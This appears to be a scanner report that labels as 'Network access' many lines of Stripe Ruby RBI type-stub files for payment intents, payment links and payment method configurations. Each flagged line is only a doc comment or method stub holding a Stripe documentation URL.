# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 3793
# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 3794
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent - Network accessline 3795
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 3802
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 3803
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h - Network accessline 3804
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 3831
} def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 3832
def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca - Network accessline 3833
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 3845
} def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentI - Network accessline 3846
def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. - Network accessline 3847
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. To unset this field to null, pass in an empty s - Network accessline 3850
sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) } def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use - Network accessline 3851
def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 3852
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. - Network accessline 3856
def payment_method_configuration=(_payment_method_configuration); end # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_i - Network accessline 3857
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) # property on the - Network accessline 3858
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 3871
} def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard - Network accessline 3872
def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](http - Network accessline 3873
# The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list of - Network accessline 3878
} def payment_method_types=(_payment_method_types); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of you - Network accessline 3879
def payment_method_types=(_payment_method_types); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [ema - Network accessline 3880
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 3905
} def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, - Network accessline 3906
def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, includ - Network accessline 3907
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 3908
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(String)) - Network accessline 3909
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 3912
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descripto - Network accessline 3913
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f - Network accessline 3914
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 3917
sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_suffix=(_statement_descriptor_suffix); end # Use this parameter to automatically create a Transfer when the payment - Network accessline 3918
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/paymen - Network accessline 3919
# Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 3924
} def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https - Network accessline 3925
def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://doc - Network accessline 3926
# A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_link_create_params.rbi
- Network accessline 16
end class Redirect < ::Stripe::RequestParams # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session]( - Network accessline 17
class Redirect < ::Stripe::RequestParams # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://do - Network accessline 18
# The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko - Network accessline 63
def initialize(account: nil, type: nil); end end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 64
end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. # - Network accessline 65
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 110
def promotions=(_promotions); end # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](https:/ - Network accessline 111
# If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 112
# There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 429
} def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 430
def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 431
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 509
sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This - Network accessline 510
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 511
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 521
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 522
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 523
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 557
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie - Network accessline 558
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 559
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 562
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr - Network accessline 563
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { return - Network accessline 564
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 567
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat - Network accessline 568
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { returns(T.nilable(PaymentLinkCreateParams::LineIt - Network accessline 569
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 581
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri - Network accessline 582
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 583
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 616
} def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 617
def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. sig { returns(T.nil - Network accessline 618
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 621
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 622
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(PaymentLinkCreateParams::LineItem::PriceData)) - Network accessline 623
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 715
} def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 716
def adjustable_quantity=(_adjustable_quantity); end # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. sig { returns(String) } - Network accessline 717
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 741
sig { params(_description: T.nilable(String)).returns(T.nilable(String)) } def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Int - Network accessline 742
def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment li - Network accessline 743
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie - Network accessline 748
} def metadata=(_metadata); end # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session. - Network accessline 749
def metadata=(_metadata); end # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session. # - Network accessline 750
# Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session. - Network accessline 763
sig { params(_setup_future_usage: T.nilable(String)).returns(T.nilable(String)) } def setup_future_usage=(_setup_future_usage); end # Text that appears on the customer's statement as the statement descriptor for a non-card charg - Network accessline 764
def setup_future_usage=(_setup_future_usage); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information abou - Network accessline 765
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 766
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(Strin - Network accessline 767
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 770
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descr - Network accessline 771
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to - Network accessline 772
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 775
sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_suffix=(_statement_descriptor_suffix); end # A string that identifies the resulting payment as part of a group. - Network accessline 776
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate - Network accessline 777
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 907
} def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from t - Network accessline 908
def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this paym - Network accessline 909
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i - Network accessline 1009
} def consent_collection=(_consent_collection); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported - Network accessline 1010
def consent_collection=(_consent_collection); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by ea - Network accessline 1011
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by each line item's price. - Network accessline 1028
} def custom_text=(_custom_text); end # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 1029
def custom_text=(_custom_text); end # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). sig { returns(T.nil - Network accessline 1030
# Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 1057
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 1058
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 1059
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1076
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or rec - Network accessline 1077
def on_behalf_of=(_on_behalf_of); end # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). # There is a maximum of - Network accessline 1078
# A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). - Network accessline 1096
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip - Network accessline 1097
# # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). sig { returns(T.nilable(St - Network accessline 1098
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 1101
sig { params(_payment_method_collection: T.nilable(String)).returns(T.nilable(String)) } def payment_method_collection=(_payment_method_collection); end # The list of payment method types that customers can use. If no value is passe - Network accessline 1102
def payment_method_collection=(_payment_method_collection); end # The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings]( - Network accessline 1103
# The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings/payment_methods) (20+ payment - Network accessline 1131
} def shipping_address_collection=(_shipping_address_collection); end # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link. - Network accessline 1132
def shipping_address_collection=(_shipping_address_collection); end # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link. sig { returns(T.nilable(T:: - Network accessline 1133
# The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link. - Network accessline 1138
} def shipping_options=(_shipping_options); end # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the - Network accessline 1139
def shipping_options=(_shipping_options); end # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url] - Network accessline 1140
# Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_link_update_params.rbi
- Network accessline 16
end class Redirect < ::Stripe::RequestParams # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session]( - Network accessline 17
class Redirect < ::Stripe::RequestParams # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://do - Network accessline 18
# The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko - Network accessline 63
def initialize(account: nil, type: nil); end end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 64
end # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. # - Network accessline 65
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 387
} def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 388
def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 389
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 531
sig { params(_description: T.nilable(String)).returns(T.nilable(String)) } def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Int - Network accessline 532
def description=(_description); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment li - Network accessline 533
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie - Network accessline 538
} def metadata=(_metadata); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requiremen - Network accessline 539
def metadata=(_metadata); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, incl - Network accessline 540
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 541
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(Strin - Network accessline 542
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 545
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descr - Network accessline 546
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to - Network accessline 547
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 550
sig { params(_statement_descriptor_suffix: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_suffix=(_statement_descriptor_suffix); end # A string that identifies the resulting payment as part of a group. - Network accessline 551
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate - Network accessline 552
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 666
} def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from t - Network accessline 667
def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this paym - Network accessline 668
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i - Network accessline 756
} def custom_text=(_custom_text); end # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 757
def custom_text=(_custom_text); end # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). sig { returns(T.nil - Network accessline 758
# Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 785
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 786
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 787
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 810
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip - Network accessline 811
# # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). sig { returns(T.nilable(St - Network accessline 812
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 815
sig { params(_payment_method_collection: T.nilable(String)).returns(T.nilable(String)) } def payment_method_collection=(_payment_method_collection); end # The list of payment method types that customers can use. Pass an empty string - Network accessline 816
def payment_method_collection=(_payment_method_collection); end # The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard. - Network accessline 817
# The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard.stripe.com/settings/payment_methods). - Network accessline 845
} def shipping_address_collection=(_shipping_address_collection); end # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affe - Network accessline 846
def shipping_address_collection=(_shipping_address_collection); end # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the - Network accessline 847
# Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_create_params.rbi
- Network accessline 1287
def initialize(display_preference: nil); end end # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 1288
end # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::AcssDebit)) } - Network accessline 1289
# Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 1294
} def acss_debit=(_acss_debit); end # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or - Network accessline 1295
def acss_debit=(_acss_debit); end # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay o - Network accessline 1296
# [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic - Network accessline 1301
} def affirm=(_affirm); end # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is pa - Network accessline 1302
def affirm=(_affirm); end # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particul - Network accessline 1303
# Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses - Network accessline 1308
} def afterpay_clearpay=(_afterpay_clearpay); end # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alip - Network accessline 1309
def afterpay_clearpay=(_afterpay_clearpay); end # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app - Network accessline 1310
# Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by - Network accessline 1329
